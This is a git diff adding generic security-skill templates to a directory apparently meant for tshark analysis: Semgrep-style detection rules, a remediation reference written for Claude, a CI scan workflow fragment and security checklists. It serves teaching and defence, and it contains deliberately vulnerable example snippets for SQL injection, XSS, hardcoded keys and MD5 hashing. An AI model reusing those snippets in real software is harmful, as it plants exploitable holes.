issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/offsec/analysis-tshark/assets/rule-template.yaml b/skills/offsec/analysis-tshark/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/offsec/analysis-tshark/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/offsec/analysis-tshark/references/EXAMPLE.md b/skills/offsec/analysis-tshark/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/offsec/analysis-tshark/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) +``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism + +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text +result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** - For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/offsec/analysis-tshark/references/WORKFLOW_CHECKLIST.md b/skills/offsec/analysis-tshark/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/offsec/analysis-tshark/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + +**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git 